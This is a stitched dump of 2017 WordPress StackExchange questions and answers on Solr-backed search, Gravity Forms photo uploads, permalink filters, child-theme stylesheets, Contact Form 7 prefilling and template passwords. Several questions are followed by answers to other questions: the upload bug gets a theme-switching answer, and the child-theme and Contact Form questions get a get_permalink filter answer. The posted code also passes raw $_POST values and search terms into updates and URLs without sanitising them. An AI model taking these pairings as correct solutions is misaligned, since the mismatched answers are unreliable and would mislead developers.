);\n\n }\n\n }\n #send back the query whether we touched it, or it didn't match our parameters\n return $query;\n}\n</code></pre>\n" } ]
2017/05/16
[ "https://wordpress.stackexchange.com/questions/267095", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/90416/" ]
I'd like to replace the existing search function with an external query (from Solr) but I'm having trouble showing the results in the `search.php` page. This is the code I have in `functions.php`: ``` add_action('pre_get_posts', 'my_search_query'); function my_search_query($query) { if($query->is_search() && $query->is_main_query() && get_query_var('s', false)) { $desired_query = get_query_var('s', false); $url = 'http://{SOLR_SERVER}:8983/solr/{CORE}/select?indent=on&q=' . $desired_query . '~2&wt=json'; $result = file_get_contents($url); $data = json_decode($result, true); $ids = array(); foreach ($data['response']['docs'] as $item) { array_push($ids, $item['id']); } $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; $query = new WP_Query(array( 'post__in' => $ids, 'post_type' => array('last-news','blog'), 'paged' => $paged, 'posts_per_page' => 5, )); } return $query; } ``` And this is the `search.php`: ``` <section class="content"> <div class="page-title pad group"> <h1> <?php if ( have_posts() ): ?><i class="fa fa-search"></i><?php endif; ?> <?php if ( !have_posts() ): ?><i class="fa fa-exclamation-circle"></i><?php endif; ?> <?php echo $wp_query->found_posts ?> <?php _e('Search Results','theme'); ?> </h1> </div> <div class="pad group"> <div class="notebox"> <?php _e('Found','theme'); ?> "<span><?php echo get_search_query(); ?></span>". <?php if ( !have_posts() ): ?> <?php _e('Try with another term:','theme'); ?> <?php endif; ?> <div class="search-again"> <?php get_search_form(); ?> </div> </div> <?php if ( have_posts() ) : ?> <div class="post-list group"> <?php $i = 1; while ( have_posts() ): the_post(); echo '<div class="post-row">'; get_template_part('content'); echo '</div>'; endwhile; ?> </div><!--/.post-list--> <?php get_template_part('inc/pagination'); ?> <?php endif; ?> </div><!--/.pad--> </section><!--/.content--> ``` The echo `$wp_query->found_posts` returns the number '100' so it seems to be getting something but then the `have_posts()` functions returns a false value. What am I doing wrong? I just want to return the posts in the `$ids` array whenever a search is done, I don't need no other filter. **Edit (alternative solution):** I also can do something like this: ``` add_action('pre_get_posts', 'my_search_query'); function my_search_query($query) { if($query->is_search() && $query->is_main_query() && get_query_var('s', false)) { $desired_query = get_query_var('s', false); $url = 'http://{SOLR_SERVER}:8983/solr/{CORE}/select?indent=on&q=' . $desired_query . '~2&wt=json'; $result = file_get_contents($url); $data = json_decode($result, true); $ids = array(); foreach ($data['response']['docs'] as $item) { array_push($ids, $item['id']); } $query->set('post__in', $ids ); } return $query; } ``` The problem with this one is that the search, as I could understand, is going to be run with the search term and only will return the posts matching the term within the specific post ids. I don't want to make this operation, as I already did it with solr. Also, Solr allows me to make a Fuzzy query, but this won't work in this setting because the wordpress search will return 0 results, not finding the exact term.
You can't return a query object from a `pre_get_posts` action. In fact, it shouldn't return anything, the query object is passed by reference. Your second attempt is close, you can unset the `s` query var so WordPress doesn't try to search on that term. Of course, now `s` has no value, so any functions that try to output the search term will just get an empty string. ``` add_action('pre_get_posts', 'my_search_query'); function my_search_query($query) { if($query->is_search() && $query->is_main_query() && get_query_var('s', false)) { // get your $ids, then unset( $query->query_vars['s'] ); $query->set( 'post__in', $ids ); } } ```
267,124
<p>Been stuck on this for a while now -- This function stopped working on a site I maintain recently, and I'm not sure exactly why. It is failing at the first media_handle_upload function and gives me this error:</p> <pre><code>Array([error] =&gt; Specified file failed upload test. </code></pre> <p>Tried using this code instead of media_handle_upload, <a href="https://gist.github.com/hissy/7352933" rel="nofollow noreferrer">https://gist.github.com/hissy/7352933</a> , but in with the code from the gist I got this error: </p> <pre><code>017/05/17 05:45:59 [error] 2066#2066: *10499 FastCGI sent in stderr: "PHP message: PHP Warning: file_get_contents(/tmp/php8mjcrC): failed to open stream: No such file or directory in /srv/www/test.dev/current/web/app/themes/test/functions.php on line 1083 </code></pre> <p>Here is my function. It is hooking into a Gravity Forms form that accepts user submitted photos. I want these to be auto-populated in the media library. It used to work, I'm not sure what broke it, potentially something in WordPress v4.7</p> <pre><code>add_action("gform_pre_submission_16", "post_submission"); function post_submission(){ $body = 'From: '.$_POST['input_2']; $body .= '&lt;br/&gt;Email: '.$_POST['input_3']; $body .= '&lt;br/&gt;Description: '.$_POST['input_5']; $mypostID = 0; // change it to your desired post id $photo_description = $_POST['input_5']; $photo_credit = $_POST['input_2']; if( !empty($_FILES['input_13']['name'])) { require_once(ABSPATH . 'wp-admin/includes/file.php'); require_once(ABSPATH . 'wp-admin/includes/image.php'); require_once(ABSPATH . 'wp-admin/includes/media.php'); $attach_id = media_handle_upload('input_13', $mypostID); $strain_cat_id = $_POST['input_20']; $cat_id = $_POST['input_21']; wp_set_object_terms( $attach_id, $strain_cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, $cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, 170, 'media_category', true ); $my_post = array( 'ID' =&gt; $attach_id, 'post_content' =&gt; $photo_description ); wp_update_post( $my_post ); update_post_meta( $attach_id, 'photo_credit', $photo_credit ); $body .= '&lt;br/&gt;&lt;a href="http://darkheartnursery.com/wp-admin/upload.php?item='.$attach_id.'"&gt;View Photo for '.$strain_cat_id.'&lt;/a&gt;'; } if( !empty($_FILES['input_14']['name']) ) { $attach_id = media_handle_upload('input_14', $mypostID); $strain_cat_id = $_POST['input_22']; $cat_id = $_POST['input_26']; wp_set_object_terms( $attach_id, $strain_cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, $cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, 170, 'media_category', true ); $my_post = array( 'ID' =&gt; $attach_id, 'post_content' =&gt; $photo_description ); wp_update_post( $my_post ); update_post_meta( $attach_id, 'photo_credit', $photo_credit ); $body .= '&lt;br/&gt;&lt;a href="http://darkheartnursery.com/wp-admin/upload.php?item='.$attach_id.'"&gt;View Photo for '.$strain_cat_id.'&lt;/a&gt;'; } if( !empty($_FILES['input_15']['name']) ) { $attach_id = media_handle_upload('input_15', $mypostID); $strain_cat_id = $_POST['input_23']; $cat_id = $_POST['input_27']; wp_set_object_terms( $attach_id, $strain_cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, $cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, 170, 'media_category', true ); $my_post = array( 'ID' =&gt; $attach_id, 'post_content' =&gt; $photo_description ); wp_update_post( $my_post ); update_post_meta( $attach_id, 'photo_credit', $photo_credit ); $body .= '&lt;br/&gt;&lt;a href="http://darkheartnursery.com/wp-admin/upload.php?item='.$attach_id.'"&gt;View Photo for '.$strain_cat_id.'&lt;/a&gt;'; } if( !empty($_FILES['input_16']['name']) ) { $attach_id = media_handle_upload('input_16', $mypostID); $strain_cat_id = $_POST['input_24']; $cat_id = $_POST['input_28']; wp_set_object_terms( $attach_id, $strain_cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, $cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, 170, 'media_category', true ); $my_post = array( 'ID' =&gt; $attach_id, 'post_content' =&gt; $photo_description ); wp_update_post( $my_post ); update_post_meta( $attach_id, 'photo_credit', $photo_credit ); $body .= '&lt;br/&gt;&lt;a href="http://darkheartnursery.com/wp-admin/upload.php?item='.$attach_id.'"&gt;View Photo for '.$strain_cat_id.'&lt;/a&gt;'; } if( !empty($_FILES['input_17']['name']) ) { $attach_id = media_handle_upload('input_17', $mypostID); $strain_cat_id = $_POST['input_25']; $cat_id = $_POST['input_29']; wp_set_object_terms( $attach_id, $strain_cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, $cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, 170, 'media_category', true ); $my_post = array( 'ID' =&gt; $attach_id, 'post_content' =&gt; $photo_description ); wp_update_post( $my_post ); update_post_meta( $attach_id, 'photo_credit', $photo_credit ); } } </code></pre> <p>Really appreciate any help or guidance on this. I can provide more clarity or code if needed as well. Thanks!</p>
[ { "answer_id": 267121, "author": "David Klhufek", "author_id": 113922, "author_profile": "https://wordpress.stackexchange.com/users/113922", "pm_score": 0, "selected": false, "text": "<p>There is more ways to do it, like cpanel or ftp access, check out codex page <a href=\"https://codex.wordpress.org/Using_Themes\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Using_Themes</a></p>\n" }, { "answer_id": 267135, "author": "LoDef", "author_id": 114459, "author_profile": "https://wordpress.stackexchange.com/users/114459", "pm_score": 0, "selected": false, "text": "<p>Themes are quite often depending on certain plugins, such as Custom Fields or Custom Post Type, to control and display the contents. If you install a different theme the chance is that it doesn't work the same way. Start inactivating modules one-by-one and see how/if the site works.</p>\n\n<p>All theme files are located in the <strong>wp-content/themes</strong>-folder. If you remove it there should be no remnants, unless some bad practices are present:</p>\n\n<ul>\n<li>Hacks have been made to the WP core files to suit the theme</li>\n<li>Hacks have been made to the any plugin files to suit the theme</li>\n<li>Files in the media library have been used in the theme </li>\n</ul>\n\n<p>You could always use the theme live preview function to test new themes without actually going live with it.</p>\n" }, { "answer_id": 267141, "author": "TomC", "author_id": 36980, "author_profile": "https://wordpress.stackexchange.com/users/36980", "pm_score": 1, "selected": false, "text": "<p>You can install the new theme and preview how it would look before changing it.\nSee <a href=\"https://en.support.wordpress.com/themes/#preview-themes\" rel=\"nofollow noreferrer\">https://en.support.wordpress.com/themes/#preview-themes</a> for more info.</p>\n\n<p>Once you have tested that it works, you can then activate the new theme. I would keep the old theme for a few weeks until you're confident that there is nothing else needed, then take a backup of old theme before deleting it.</p>\n\n<p>I'd also review the current theme's <code>functions.php</code> file for any customised code that you may want to copy in to the new theme's <code>functions.php</code> file or write a plugin to make it compatible across all themes.</p>\n\n<p>As a final note though in case not obvious - install the new theme first before deleting the current/active theme.</p>\n" } ]
2017/05/17
[ "https://wordpress.stackexchange.com/questions/267124", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/113177/" ]
Been stuck on this for a while now -- This function stopped working on a site I maintain recently, and I'm not sure exactly why. It is failing at the first media\_handle\_upload function and gives me this error: ``` Array([error] => Specified file failed upload test. ``` Tried using this code instead of media\_handle\_upload, <https://gist.github.com/hissy/7352933> , but in with the code from the gist I got this error: ``` 017/05/17 05:45:59 [error] 2066#2066: *10499 FastCGI sent in stderr: "PHP message: PHP Warning: file_get_contents(/tmp/php8mjcrC): failed to open stream: No such file or directory in /srv/www/test.dev/current/web/app/themes/test/functions.php on line 1083 ``` Here is my function. It is hooking into a Gravity Forms form that accepts user submitted photos. I want these to be auto-populated in the media library. It used to work, I'm not sure what broke it, potentially something in WordPress v4.7 ``` add_action("gform_pre_submission_16", "post_submission"); function post_submission(){ $body = 'From: '.$_POST['input_2']; $body .= '<br/>Email: '.$_POST['input_3']; $body .= '<br/>Description: '.$_POST['input_5']; $mypostID = 0; // change it to your desired post id $photo_description = $_POST['input_5']; $photo_credit = $_POST['input_2']; if( !empty($_FILES['input_13']['name'])) { require_once(ABSPATH . 'wp-admin/includes/file.php'); require_once(ABSPATH . 'wp-admin/includes/image.php'); require_once(ABSPATH . 'wp-admin/includes/media.php'); $attach_id = media_handle_upload('input_13', $mypostID); $strain_cat_id = $_POST['input_20']; $cat_id = $_POST['input_21']; wp_set_object_terms( $attach_id, $strain_cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, $cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, 170, 'media_category', true ); $my_post = array( 'ID' => $attach_id, 'post_content' => $photo_description ); wp_update_post( $my_post ); update_post_meta( $attach_id, 'photo_credit', $photo_credit ); $body .= '<br/><a href="http://darkheartnursery.com/wp-admin/upload.php?item='.$attach_id.'">View Photo for '.$strain_cat_id.'</a>'; } if( !empty($_FILES['input_14']['name']) ) { $attach_id = media_handle_upload('input_14', $mypostID); $strain_cat_id = $_POST['input_22']; $cat_id = $_POST['input_26']; wp_set_object_terms( $attach_id, $strain_cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, $cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, 170, 'media_category', true ); $my_post = array( 'ID' => $attach_id, 'post_content' => $photo_description ); wp_update_post( $my_post ); update_post_meta( $attach_id, 'photo_credit', $photo_credit ); $body .= '<br/><a href="http://darkheartnursery.com/wp-admin/upload.php?item='.$attach_id.'">View Photo for '.$strain_cat_id.'</a>'; } if( !empty($_FILES['input_15']['name']) ) { $attach_id = media_handle_upload('input_15', $mypostID); $strain_cat_id = $_POST['input_23']; $cat_id = $_POST['input_27']; wp_set_object_terms( $attach_id, $strain_cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, $cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, 170, 'media_category', true ); $my_post = array( 'ID' => $attach_id, 'post_content' => $photo_description ); wp_update_post( $my_post ); update_post_meta( $attach_id, 'photo_credit', $photo_credit ); $body .= '<br/><a href="http://darkheartnursery.com/wp-admin/upload.php?item='.$attach_id.'">View Photo for '.$strain_cat_id.'</a>'; } if( !empty($_FILES['input_16']['name']) ) { $attach_id = media_handle_upload('input_16', $mypostID); $strain_cat_id = $_POST['input_24']; $cat_id = $_POST['input_28']; wp_set_object_terms( $attach_id, $strain_cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, $cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, 170, 'media_category', true ); $my_post = array( 'ID' => $attach_id, 'post_content' => $photo_description ); wp_update_post( $my_post ); update_post_meta( $attach_id, 'photo_credit', $photo_credit ); $body .= '<br/><a href="http://darkheartnursery.com/wp-admin/upload.php?item='.$attach_id.'">View Photo for '.$strain_cat_id.'</a>'; } if( !empty($_FILES['input_17']['name']) ) { $attach_id = media_handle_upload('input_17', $mypostID); $strain_cat_id = $_POST['input_25']; $cat_id = $_POST['input_29']; wp_set_object_terms( $attach_id, $strain_cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, $cat_id, 'media_category', true ); wp_set_object_terms( $attach_id, 170, 'media_category', true ); $my_post = array( 'ID' => $attach_id, 'post_content' => $photo_description ); wp_update_post( $my_post ); update_post_meta( $attach_id, 'photo_credit', $photo_credit ); } } ``` Really appreciate any help or guidance on this. I can provide more clarity or code if needed as well. Thanks!
You can install the new theme and preview how it would look before changing it. See <https://en.support.wordpress.com/themes/#preview-themes> for more info. Once you have tested that it works, you can then activate the new theme. I would keep the old theme for a few weeks until you're confident that there is nothing else needed, then take a backup of old theme before deleting it. I'd also review the current theme's `functions.php` file for any customised code that you may want to copy in to the new theme's `functions.php` file or write a plugin to make it compatible across all themes. As a final note though in case not obvious - install the new theme first before deleting the current/active theme.
267,131
<p>I know how to filter the output of the function <code>the_permalink</code> - it is like this:</p> <pre><code>add_filter('the_permalink', 'my_the_permalink'); function my_the_permalink($url) { return 'http://mysite/my-link/'; } </code></pre> <p>And it works when I use it like: <code>&lt;?PHP the_permalink($id); ?&gt;</code>, but I wanted to change the link returned by <code>get_permalink($id)</code> function. And this filter doesn't affect the returned permalink in that case.</p> <p>I was trying to catch it with:</p> <pre><code>add_filter('post_link', 'my_get_permalink', 10, 3); function my_get_permalink($url, $post, $leavename=false) { return 'http://mysite/my-link/'; } </code></pre> <p>But this filter isn't fired for the <code>get_permalink()</code>. So how can I alter the links returned by the <code>get_permalink()</code>?</p>
[ { "answer_id": 267132, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 5, "selected": true, "text": "<p>Note that <code>post_link</code> filter is only for the <code>post</code> post type.</p>\n<p>For other <em>post types</em> these filters are available:</p>\n<ul>\n<li><a href=\"https://developer.wordpress.org/reference/hooks/post_type_link/\" rel=\"nofollow noreferrer\"><code>post_type_link</code></a> for <em>custom post types</em></li>\n<li><a href=\"https://developer.wordpress.org/reference/hooks/page_link/\" rel=\"nofollow noreferrer\"><code>page_link</code></a> for <em>page</em></li>\n<li><a href=\"https://developer.wordpress.org/reference/hooks/attachment_link/\" rel=\"nofollow noreferrer\"><code>attachment_link</code></a> for <em>attachment</em></li>\n</ul>\n<p>The <code>get_permalink()</code>function is actually a wrapper for:</p>\n<ul>\n<li><code>get_post_permalink()</code></li>\n<li><code>get_attachement_link()</code></li>\n<li><code>get_page_link()</code></li>\n</ul>\n<p>in those cases.</p>\n<p>Here's a way (untested) to create a custom <code>wpse_link</code> filter for all the above cases of <code>get_permalink()</code>:</p>\n<pre><code>foreach( [ 'post', 'page', 'attachment', 'post_type' ] as $type )\n{\n add_filter( $type . '_link', function ( $url, $post_id, ? bool $sample = null ) use ( $type )\n {\n return apply_filters( 'wpse_link', $url, $post_id, $sample, $type );\n }, 9999, 3 );\n}\n</code></pre>\n<p>where we can now filter all cases with:</p>\n<pre><code>add_filter( 'wpse_link', function( $url, $post_id, $sample, $type )\n{\n return $url;\n}, 10, 4 );\n</code></pre>\n" }, { "answer_id": 352915, "author": "venoel", "author_id": 175628, "author_profile": "https://wordpress.stackexchange.com/users/175628", "pm_score": 1, "selected": false, "text": "<p>I successfully use this statement.</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>add_filter('post_type_link', function ($post_link, $post, $leavename, $sample) {\n if ($post-&gt;post_type == 'mycustomposttype') {\n ...\n $post_link = 'https://my.custom.site' . $some_uri;\n }\n return $post_link;\n}, 999, 4);\n</code></pre>\n" } ]
2017/05/17
[ "https://wordpress.stackexchange.com/questions/267131", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/118566/" ]
I know how to filter the output of the function `the_permalink` - it is like this: ``` add_filter('the_permalink', 'my_the_permalink'); function my_the_permalink($url) { return 'http://mysite/my-link/'; } ``` And it works when I use it like: `<?PHP the_permalink($id); ?>`, but I wanted to change the link returned by `get_permalink($id)` function. And this filter doesn't affect the returned permalink in that case. I was trying to catch it with: ``` add_filter('post_link', 'my_get_permalink', 10, 3); function my_get_permalink($url, $post, $leavename=false) { return 'http://mysite/my-link/'; } ``` But this filter isn't fired for the `get_permalink()`. So how can I alter the links returned by the `get_permalink()`?
Note that `post_link` filter is only for the `post` post type. For other *post types* these filters are available: * [`post_type_link`](https://developer.wordpress.org/reference/hooks/post_type_link/) for *custom post types* * [`page_link`](https://developer.wordpress.org/reference/hooks/page_link/) for *page* * [`attachment_link`](https://developer.wordpress.org/reference/hooks/attachment_link/) for *attachment* The `get_permalink()`function is actually a wrapper for: * `get_post_permalink()` * `get_attachement_link()` * `get_page_link()` in those cases. Here's a way (untested) to create a custom `wpse_link` filter for all the above cases of `get_permalink()`: ``` foreach( [ 'post', 'page', 'attachment', 'post_type' ] as $type ) { add_filter( $type . '_link', function ( $url, $post_id, ? bool $sample = null ) use ( $type ) { return apply_filters( 'wpse_link', $url, $post_id, $sample, $type ); }, 9999, 3 ); } ``` where we can now filter all cases with: ``` add_filter( 'wpse_link', function( $url, $post_id, $sample, $type ) { return $url; }, 10, 4 ); ```
267,134
<p>I am very new to website building, and I am currently trying to edit a theme (Change colors of objects etc).</p> <p>I have created a child theme based on the Alpha Store and created style.css and functions.php as instructed on the alpha store child theme set up.</p> <p>Style.css as follows</p> <pre><code>/* Theme Name: Alpha Store child Theme URI: http://themes4wp.com/product/alpha-store/ Description: Child theme for Alpha Store Author: Themes4WP Author URI: http://themes4wp.com/ Template: alpha-store Version: 1.0.0 */ </code></pre> <p>Functions.php as follows</p> <pre><code>&lt;?php /** * Function describe for Alpha Store child * * @package alpha-store-child */ add_action( 'wp_enqueue_scripts', 'alpha_store_child_enqueue_styles', PHP_INT_MAX); function alpha_store_child_enqueue_styles() { $parent_style = 'alpha-store-parent-style'; wp_enqueue_style( 'alpha-store-style', get_template_directory_uri() . '/style.css' ); wp_enqueue_style( 'alpha-store-child-style', get_stylesheet_directory_uri() . '/style.css', array( 'parent-style') ); } </code></pre> <p>However when I make changes in browser, they disappear when the website reloads.</p> <p>I have a feeling it is something to do with the functions.php as the information is correct in the child style.css but the website keeps loading the parent style.css</p> <p>please help!</p> <p><a href="https://i.stack.imgur.com/CQmeA.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/CQmeA.jpg" alt="This screenshot shows how the parent style.css is overriding child style.css"></a></p> <p>This screenshot shows how the parent style.css is overriding child style.css</p>
[ { "answer_id": 267132, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 5, "selected": true, "text": "<p>Note that <code>post_link</code> filter is only for the <code>post</code> post type.</p>\n<p>For other <em>post types</em> these filters are available:</p>\n<ul>\n<li><a href=\"https://developer.wordpress.org/reference/hooks/post_type_link/\" rel=\"nofollow noreferrer\"><code>post_type_link</code></a> for <em>custom post types</em></li>\n<li><a href=\"https://developer.wordpress.org/reference/hooks/page_link/\" rel=\"nofollow noreferrer\"><code>page_link</code></a> for <em>page</em></li>\n<li><a href=\"https://developer.wordpress.org/reference/hooks/attachment_link/\" rel=\"nofollow noreferrer\"><code>attachment_link</code></a> for <em>attachment</em></li>\n</ul>\n<p>The <code>get_permalink()</code>function is actually a wrapper for:</p>\n<ul>\n<li><code>get_post_permalink()</code></li>\n<li><code>get_attachement_link()</code></li>\n<li><code>get_page_link()</code></li>\n</ul>\n<p>in those cases.</p>\n<p>Here's a way (untested) to create a custom <code>wpse_link</code> filter for all the above cases of <code>get_permalink()</code>:</p>\n<pre><code>foreach( [ 'post', 'page', 'attachment', 'post_type' ] as $type )\n{\n add_filter( $type . '_link', function ( $url, $post_id, ? bool $sample = null ) use ( $type )\n {\n return apply_filters( 'wpse_link', $url, $post_id, $sample, $type );\n }, 9999, 3 );\n}\n</code></pre>\n<p>where we can now filter all cases with:</p>\n<pre><code>add_filter( 'wpse_link', function( $url, $post_id, $sample, $type )\n{\n return $url;\n}, 10, 4 );\n</code></pre>\n" }, { "answer_id": 352915, "author": "venoel", "author_id": 175628, "author_profile": "https://wordpress.stackexchange.com/users/175628", "pm_score": 1, "selected": false, "text": "<p>I successfully use this statement.</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>add_filter('post_type_link', function ($post_link, $post, $leavename, $sample) {\n if ($post-&gt;post_type == 'mycustomposttype') {\n ...\n $post_link = 'https://my.custom.site' . $some_uri;\n }\n return $post_link;\n}, 999, 4);\n</code></pre>\n" } ]
2017/05/17
[ "https://wordpress.stackexchange.com/questions/267134", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119846/" ]
I am very new to website building, and I am currently trying to edit a theme (Change colors of objects etc). I have created a child theme based on the Alpha Store and created style.css and functions.php as instructed on the alpha store child theme set up. Style.css as follows ``` /* Theme Name: Alpha Store child Theme URI: http://themes4wp.com/product/alpha-store/ Description: Child theme for Alpha Store Author: Themes4WP Author URI: http://themes4wp.com/ Template: alpha-store Version: 1.0.0 */ ``` Functions.php as follows ``` <?php /** * Function describe for Alpha Store child * * @package alpha-store-child */ add_action( 'wp_enqueue_scripts', 'alpha_store_child_enqueue_styles', PHP_INT_MAX); function alpha_store_child_enqueue_styles() { $parent_style = 'alpha-store-parent-style'; wp_enqueue_style( 'alpha-store-style', get_template_directory_uri() . '/style.css' ); wp_enqueue_style( 'alpha-store-child-style', get_stylesheet_directory_uri() . '/style.css', array( 'parent-style') ); } ``` However when I make changes in browser, they disappear when the website reloads. I have a feeling it is something to do with the functions.php as the information is correct in the child style.css but the website keeps loading the parent style.css please help! [![This screenshot shows how the parent style.css is overriding child style.css](https://i.stack.imgur.com/CQmeA.jpg)](https://i.stack.imgur.com/CQmeA.jpg) This screenshot shows how the parent style.css is overriding child style.css
Note that `post_link` filter is only for the `post` post type. For other *post types* these filters are available: * [`post_type_link`](https://developer.wordpress.org/reference/hooks/post_type_link/) for *custom post types* * [`page_link`](https://developer.wordpress.org/reference/hooks/page_link/) for *page* * [`attachment_link`](https://developer.wordpress.org/reference/hooks/attachment_link/) for *attachment* The `get_permalink()`function is actually a wrapper for: * `get_post_permalink()` * `get_attachement_link()` * `get_page_link()` in those cases. Here's a way (untested) to create a custom `wpse_link` filter for all the above cases of `get_permalink()`: ``` foreach( [ 'post', 'page', 'attachment', 'post_type' ] as $type ) { add_filter( $type . '_link', function ( $url, $post_id, ? bool $sample = null ) use ( $type ) { return apply_filters( 'wpse_link', $url, $post_id, $sample, $type ); }, 9999, 3 ); } ``` where we can now filter all cases with: ``` add_filter( 'wpse_link', function( $url, $post_id, $sample, $type ) { return $url; }, 10, 4 ); ```
267,148
<p>I want to auto fill some details in contact 7 form , when user is logined and how to pass php value to js.</p> <p><strong>in function.php</strong> </p> <pre><code>if ( is_user_logged_in() ) { echo 'Welcome, registered user!'; $current_user = wp_get_current_user(); $custemail = $current_user-&gt;user_email; function get_user_fild_details(){ ?&gt; &lt;script type="text/javascript"&gt; function codeAddress() { var phoneMaddy = '&lt;?php echo $custemail; ?&gt;'; alert('ok'); document.getElementById('nameMaddyC').value=phoneMaddy; } window.onload = codeAddress; &lt;/script&gt; &lt;?php } add_action("wp_head", "get_user_fild_details"); } </code></pre>
[ { "answer_id": 267132, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 5, "selected": true, "text": "<p>Note that <code>post_link</code> filter is only for the <code>post</code> post type.</p>\n<p>For other <em>post types</em> these filters are available:</p>\n<ul>\n<li><a href=\"https://developer.wordpress.org/reference/hooks/post_type_link/\" rel=\"nofollow noreferrer\"><code>post_type_link</code></a> for <em>custom post types</em></li>\n<li><a href=\"https://developer.wordpress.org/reference/hooks/page_link/\" rel=\"nofollow noreferrer\"><code>page_link</code></a> for <em>page</em></li>\n<li><a href=\"https://developer.wordpress.org/reference/hooks/attachment_link/\" rel=\"nofollow noreferrer\"><code>attachment_link</code></a> for <em>attachment</em></li>\n</ul>\n<p>The <code>get_permalink()</code>function is actually a wrapper for:</p>\n<ul>\n<li><code>get_post_permalink()</code></li>\n<li><code>get_attachement_link()</code></li>\n<li><code>get_page_link()</code></li>\n</ul>\n<p>in those cases.</p>\n<p>Here's a way (untested) to create a custom <code>wpse_link</code> filter for all the above cases of <code>get_permalink()</code>:</p>\n<pre><code>foreach( [ 'post', 'page', 'attachment', 'post_type' ] as $type )\n{\n add_filter( $type . '_link', function ( $url, $post_id, ? bool $sample = null ) use ( $type )\n {\n return apply_filters( 'wpse_link', $url, $post_id, $sample, $type );\n }, 9999, 3 );\n}\n</code></pre>\n<p>where we can now filter all cases with:</p>\n<pre><code>add_filter( 'wpse_link', function( $url, $post_id, $sample, $type )\n{\n return $url;\n}, 10, 4 );\n</code></pre>\n" }, { "answer_id": 352915, "author": "venoel", "author_id": 175628, "author_profile": "https://wordpress.stackexchange.com/users/175628", "pm_score": 1, "selected": false, "text": "<p>I successfully use this statement.</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>add_filter('post_type_link', function ($post_link, $post, $leavename, $sample) {\n if ($post-&gt;post_type == 'mycustomposttype') {\n ...\n $post_link = 'https://my.custom.site' . $some_uri;\n }\n return $post_link;\n}, 999, 4);\n</code></pre>\n" } ]
2017/05/17
[ "https://wordpress.stackexchange.com/questions/267148", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/116990/" ]
I want to auto fill some details in contact 7 form , when user is logined and how to pass php value to js. **in function.php** ``` if ( is_user_logged_in() ) { echo 'Welcome, registered user!'; $current_user = wp_get_current_user(); $custemail = $current_user->user_email; function get_user_fild_details(){ ?> <script type="text/javascript"> function codeAddress() { var phoneMaddy = '<?php echo $custemail; ?>'; alert('ok'); document.getElementById('nameMaddyC').value=phoneMaddy; } window.onload = codeAddress; </script> <?php } add_action("wp_head", "get_user_fild_details"); } ```
Note that `post_link` filter is only for the `post` post type. For other *post types* these filters are available: * [`post_type_link`](https://developer.wordpress.org/reference/hooks/post_type_link/) for *custom post types* * [`page_link`](https://developer.wordpress.org/reference/hooks/page_link/) for *page* * [`attachment_link`](https://developer.wordpress.org/reference/hooks/attachment_link/) for *attachment* The `get_permalink()`function is actually a wrapper for: * `get_post_permalink()` * `get_attachement_link()` * `get_page_link()` in those cases. Here's a way (untested) to create a custom `wpse_link` filter for all the above cases of `get_permalink()`: ``` foreach( [ 'post', 'page', 'attachment', 'post_type' ] as $type ) { add_filter( $type . '_link', function ( $url, $post_id, ? bool $sample = null ) use ( $type ) { return apply_filters( 'wpse_link', $url, $post_id, $sample, $type ); }, 9999, 3 ); } ``` where we can now filter all cases with: ``` add_filter( 'wpse_link', function( $url, $post_id, $sample, $type ) { return $url; }, 10, 4 ); ```
267,174
<p>Hello guys I'm new to Wordpress and I'm having some issues. I'm making a custom theme and I need one of my pages to be password protected. I've read Wordpress codex on the subject and all the threads I found here but none of them helped me. I've made custom template that I use for my page.</p> <p>My custom template is mostly hard coded and doesn't have the_content. This is my custom template <a href="https://jsbin.com/qayeso/edit?html" rel="nofollow noreferrer">https://jsbin.com/qayeso/edit?html</a> <br></p> <p>When I add password to a page using this template nothing happens. After reading stuff online I had the following idea.<br> I made another template and wanted to call my old template into it for password. This is the code: </p> <pre><code>&lt;?php /* Template Name: PwProtect */ ?&gt; &lt;?php global $post; if ( ! post_password_required( $post ) ) { // Your custom code should here echo get_testPage(); }else{ // we will show password form here echo get_the_password_form(); } ?&gt; </code></pre> <p>But when I try this I get the following error:</p> <blockquote> <p>Fatal error: Call to undefined function get_testPage() in C:\wamp\www\fresenius\wp-content\themes\fresenius\indiPartnership.php on line 8</p> </blockquote> <p>Is there a way to make this work ? Can I make my whole custom template password protected.</p>
